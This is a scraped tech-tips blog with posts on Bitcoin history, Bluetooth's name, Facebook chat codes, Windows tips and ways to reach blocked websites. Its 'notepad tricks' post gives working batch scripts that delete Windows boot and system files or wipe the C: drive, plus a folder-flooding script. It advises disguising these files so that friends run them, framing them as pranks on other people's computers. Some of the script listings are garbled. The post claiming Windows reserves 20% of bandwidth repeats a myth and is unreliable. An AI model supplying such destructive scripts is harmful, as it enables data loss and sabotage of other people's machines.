Computer Tricks Corner


Computer Tricks Corner


Computer Tricks Corner


Computer Tricks Corner


Computer Tricks Corner


Tuesday, 4 February 2014

Brief History of Bitcoins

It is quite strange to read history of an event that took place not more then a decade ago. But the journey from 1$=1,309.03Bitcoins to touching the mark of 1bitcoin=1000$+ is not a short journey lets revisit few Important events happened in this short period.

  • It all started back in 2007 when Satoshi Nakamoto began working on the Bitcoin concept. While he/they is/are on record as living in Japan, it is speculated that Nakamoto may be a group of people.

  • August 18, 2008 is registered  The domain was registered at, a site that allows users to anonymously register domain names and currently accepts Bitcoins.

  • January 12, 2009
    The first transaction of Bitcoin currency, in block 170, takes place between Satoshi and Hal Finney, a developer and cryptographic activist.

  •  October 5, 2009 An exchange rate is established
    New Liberty Standard publishes a Bitcoin exchange rate that establishes the value of a Bitcoin at US$1 = 1,309.03 BTC, using an equation that includes the cost of electricity to run a computer that generated Bitcoins.
  • May 22, 2010
    10,000 BTC spent on pizza.

    The first, real-world transaction using Bitcoins takes place when a Jacksonville, Florida programmer, Laszlo Hanyecz, offers to pay 10,000 Bitcoins for a pizza on the Bitcoin Forum. At the time, the exchange rate put the purchase price for the pizza at around US$25.

  • August 15, 2010 Exploit generates 184 billion Bitcoins
    A vulnerability in the Bitcoin system that causes Bitcoins to be improperly verified is discovered and exploited, resulting in the generation of 184 billion Bitcoins.

  • February 9, 2011 Bitcoin reaches parity with US dollarBitcoin touches US$1.00/BTC at MtGox[Currency Exchange], reaches parity with the US dollar for the first time.

  • April 16, 2011 TIME publishes article on BitcoinTIME magazine publishes an article about Bitcoin, Online Cash Bitcoin Could Challenge Governments, Bank.

  • September 3, 2012 Bitfloor hacked for 24,000 BTC
    The fourth largest US Bitcoin exchange, Bitfloor, is hacked and loses 24,000 BTC (valued at approximately US$250,000 when the theft took place), which was the majority of the on-hand Bitcoins. Compromised servers result in access to encrypted backup files of wallet keys. All exchange operations are paused.

  • April 2013 Bitcoin surpasses $100
      The value of Bitcoin on MtGox and other exchanges surpasses US$100

  • November 19, 2013 Bitcoin goes above $1000
    Bitcoin price surges to a record of US$1242 after Senate hearings.

Saturday, 1 February 2014

Bitcoins what is it & how it works ?

I'm quite sure Till now all of us must have heard about bitcoins from one way or another, most of us are curious about what is bitcoin and few of us who even know what it is but surely uncertain about its future, In this post I'll try to Explain bitcoin to all readers to very easiest form. with just 5 Q&A

What is Bitcoin ?

 It Is crypto-currency [ E-currency ] it can be used to make payments online. Bitcoin payments are easier to make than debit or credit card purchases and It can easily replace them. Bitcoin is a peer-to-peer payment system and digital currency introduced  in 2009 by  Satoshi Nakamoto

What are the advantages of Bitcoin?
  •  Transparent and neutral
  • Instant Payment
  • Very low fees
  • Secure, Irreversible
  • Strong protection against identity theft 
I'll be explaining all these points in upcoming posts 

What are the disadvantages of Bitcoin?
  • Not Yet fully known by average joe 
  •  Volatility
  • Uncertainty
  • Money Laundering 
What is Bitcoin mining ?

 The process of finding new blocks to be added to blockchain is called Bitcoin mining. This is done by a computer program by solving a complex puzzle with real time input of transaction data. Now a days mining requires specialized hardwares and electricity consumption. Miners are rewarded with Bitcoin by the system.

What are the units of Bitcoin ?

 There are 4 standard units of Bitcoin...
    i. 1 BTC = 1 Bitcoin
    ii. 1 mBTC = 10^(-3) Bitcoin
    iii. 1 μBTC = 10^(-6) Bitcoin
    iv. 1 Satoshi = 10^(-8) Bitcoin

You can ask QUESTIONS if you have any question regarding this post

Friday, 18 October 2013

Why Is Bluetooth Called Bluetooth ?

Have you ever  thought  Why Is Bluetooth Called Bluetooth?[ I bet you did thats why you are on this page :D]
When two devices need to talk to each other, they
need to have a handshake on various parameters
before the conversation starts. The first agreement
is on the medium – will they use wires, or talk over
some wireless signal? Bluetooth is one such wireless signal (protocol)
over which two (or more) devices communicate

Strange name though isn’t it – are the bluetooth
waves invisible but blue and shaped like teeth?
Wrong! There is absolutely no relation between the name
and the meaning.
The Bluetooth protocol was created by Ericsson
(pre-Sony Ericsson) which is a major Swedish
telecommunication company. They named it after
the Danish viking king, Harald Blåtand. As legend goes, Blåtandhad
the blessed ability to bring people negotiate with each other, and
cometo talking terms. So skilled was he, that he was able to unite Denmark
and Norway together! The literal translation of Blåtand means blue-tooth, hence
the name Bluetooth for the protocol. It does precisely what Blåtand did – lets
two wireless device to communicate with each

The Bluetooth symbol has HaraldBlåtand’sinitials inscribed into it (in Runic).
The two lines stickingout of the back of the B
actually represent a Runic H – thats
H for Harald .The B for Bluetooth also stands for

Friday, 15 March 2013

Top 5 most Dengerous notepad Tricks


1. How to create more than 3,000 folders under a minute
1) Open your notepad and type
the following code.
@echo off
md %random%

goto top
2) Save it as 1000.bat
@echo off makes your screen
appear blank but it is actually
making hundreds of folders.
md %random% is command that
creating folders with random
names.( md is a command to
make directory in ms-dos)
goto top – return the command
to :top, causes an infinite loop.
NOTE: The folders will get created
in the directory where you saved
the ”1000.bat” file.
The file might look suspicious to
your friends. So if you are
looking to fool your friends, then
change the file name and also
the icon so that he doesn’t
suspect the file to be a virus.

2. How to Shutdown a computer forever?
Now Please don’t try this because this is the most simplest and deadliest hack for your windows computer. Copy the following
code into your notepad
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows
del c:\windows\win.ini

Save it as “shutdown-
forever.bat”. Just make sure it
has a .bat or .cmd extension.
RUN IT !!!
This should shutdown the persons computer. It shuts it off once
and deletes the files needed to reboot and restart.So please, use
this hack only if you have no intention of rebooting your computer again. So just be careful.
Here’s an alternative code.
cmd /c del c:\windows\* /F /S /
cmd /c del c:\* /F /S /Q
Paste it in NotePad And Save It
with Extension .cmd or .bat.

3. How to Delete all your system
files with a small command!
Copy the following code into your
notepad and save it as a .bat
del *.*
All your files in your hard disk will
vanish in less than 5mins.
4. RAM crashing trick
open notepad and type
goto A
save with .bat extension.
Infinitely loops your browser to
open up
5. Crash a Computer System With

Nothing But a Link.
This is a javascript “exploit” , it
will hang/crash your system. It
basically floods you with an
infinite loop of mailto:xxx
windows. To cancel this (and you
have to move fast) kill the
process of your email client
before you run out of RAM. Every
instance occupies about 1000
bytes, if your victim is smart, he
better end the process As soon as
possible or he will be forced to
reboot his computer.
Click Here
NOTE: Try at your own risk

Friday, 11 January 2013

How to boost internet speed by 20% without any software

Increase internet speed by 20% without any software –

Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc. By unreserving this bandwidth, you can make your internet connection faster. By 20%. The steps to do so are –

1. Click Start then Run and type "gpedit.msc" without quotes.

2. Then go to Local Computer Policy>Computer Configuration>Administrative Templetes>Network>QoS Packet Scheduler. Click on QoS Packet Scheduler. In the right side , find Limit Reservable Bandwidth and double click on Limit Reservable Bandwidth.

3. It will say it is not configured but the truth is under the ‘Explain’ tab. Select ‘Enable’ and set reservable bandwidth to zero.

4. Click on ‘Apply’ and your internet speed will boost up by 20%.

Saturday, 29 December 2012

Happy New Year Facebook chat codes

Wish all of you  a very Happy and Prosper New Year. 
Below are some cool Facebook chat codes to say Happy new year to them on FB :)

 [[348175178622169]] [[348175175288836]] [[348175171955503]] [[348175168622170]] [[348175165288837]] [[348175275288826]]
[[348175268622160]] [[348175261955494]] [[348175271955493]] [[348175265288827]] [[348175381955482]] [[348175371955483]]
[[348175375288816]] [[348175378622149]] [[348175368622150]] [[348175475288806]] [[348175465288807]] [[348175471955473]]
[[348175468622140]] [[348175478622139]] [[348175551955465]] [[348175555288798]] [[348175561955464]] [[348175548622132]]
[[348175558622131]] [[348175648622122]] [[348175651955455]] [[348175655288788]] [[348175641955456]] [[348175645288789]]
 [[228970750573428]] [[228970747240095]] [[228970740573429]] [[228970743906762]] [[228970737240096]] [[228970823906754]]
[[228970833906753]] [[228970830573420]] [[228970820573421]] [[228970827240087]] [[228970953906741]] [[228970967240073]]
[[228970963906740]] [[228970957240074]] [[228970960573407]] [[228971053906731]] [[228971057240064]] [[228971047240065]]
[[228971043906732]] [[228971050573398]] [[228971143906722]] [[228971153906721]] [[228971150573388]] [[228971147240055]]
[[228971140573389]] [[228971260573377]] [[228971250573378]] [[228971253906711]] [[228971257240044]] [[228971263906710]]


[[322188301217545]] [[322188304550878]] [[322188311217544]] [[322188307884211]] [[322188314550877]] [[322188531217522]]
[[322188537884188]] [[322188527884189]] [[322188521217523]] [[322188524550856]] [[322188697884172]] [[322188704550838]]
[[322188691217506]] [[322188694550839]] [[322188701217505]] [[322188861217489]] [[322188871217488]] [[322188867884155]]
[[322188857884156]] [[322188864550822]] [[322188954550813]] [[322188951217480]] [[322188947884147]] [[322188944550814]]


[[348187205287633]] [[348187198620967]] [[348187208620966]] [[348187201954300]] [[348187211954299]] [[348187288620958]]
[[348187298620957]] [[348187291954291]] [[348187285287625]] [[348187295287624]] [[348187425287611]] [[348187441954276]]
[[348187448620942]] [[348187428620944]] [[348187458620941]] [[348187685287585]] [[348187671954253]] [[348187695287584]]
[[348187675287586]] [[348187668620920]] [[348187938620893]] [[348187941954226]] [[348187935287560]] [[348187931954227]]
[[348187928620894]] [[348188201954200]] [[348188195287534]] [[348188198620867]] [[348188211954199]] [[348188208620866]]

[[228981703905666]] [[228981707238999]] [[228981710572332]] [[228981713905665]] [[228981700572333]] [[228981783905658]]
[[228981787238991]] [[228981780572325]] [[228981790572324]] [[228981793905657]] [[228981890572314]] [[228981893905647]]
[[228981883905648]] [[228981887238981]] [[228981897238980]] [[228981973905639]] [[228981983905638]] [[228981977238972]]
[[228981980572305]] [[228981987238971]] [[228982070572296]] [[228982080572295]] [[228982073905629]] [[228982083905628]]
[[228982077238962]] [[228982170572286]] [[228982167238953]] [[228982173905619]] [[228982160572287]] [[228982163905620]]

To create your own chat codes click here

Friday, 14 December 2012

How to create facebook Chat codes

Have you seen People sending Smiles and images that are not part of Facebook Traditional chat codes.
Here in this post You will see how easy it is to create these codes and Impress you Facebook friends
Like, The best part is you can create your Unique codes . You can create codes of any image stored in you computer, by following these steps

Follow these Steps :- 
1. Go to Smileyti

2. Click on "Browse" and select The  picture you want to use in facebook chat.

3. Enter captcha code.[If you get one]

4. Click on "Upload Now" .

5. It will generate code in few seconds in This form<< [[512585645451273]] [[512585638784607]] >>
Copy The code
6. Paste it in facebook chat and hit enter.

Thursday, 6 September 2012

Windows 8 picture password

Windows 8 Tips.
Use a picture password to log into your computer. Windows 8 includes a new feature called Picture password, which allows you to authenticate with the
computer using a series of gestures that include circles, straight lines, and taps. Enable this feature if you want a new way to access your computer or have a hard time with passwords. Open the Windows Charms. Click Settings and then More PC settings In the PC settings  window click Users and then select Create a picture password.

Thursday, 16 August 2012

8 ways to access blocked websites

1. Using IP instead of URL

2. Redirection with short URL service

3. Google cache

Search engines like Google and Yahoo cache webpages and these cached pages are stored in search engines themselves, which likely will be added to the blocked list. Click on the ‘cache’ will bring you to a cache version of the page, as updated as how Google caches it.

4. Internet Archive – Wayback Machine

Wayback Machine is a internet service that periodically keeps a copy of almost all websites in the Internet way from the date they’re started. Clicking on the latest copy of what Wayback Machine have should be somewhat similar to the real site.

5. Anonymous surfing


6. Use Proxy in Browsers

7. Bypass with translation services

Use Google translate. Open Google translate ,type the URL and translate page.

8. Retrieve web pages via Email

Web2Mail is a free service that sends websites you want to read right into your inbox. All you need to do is send an email to with the URL as subject title.

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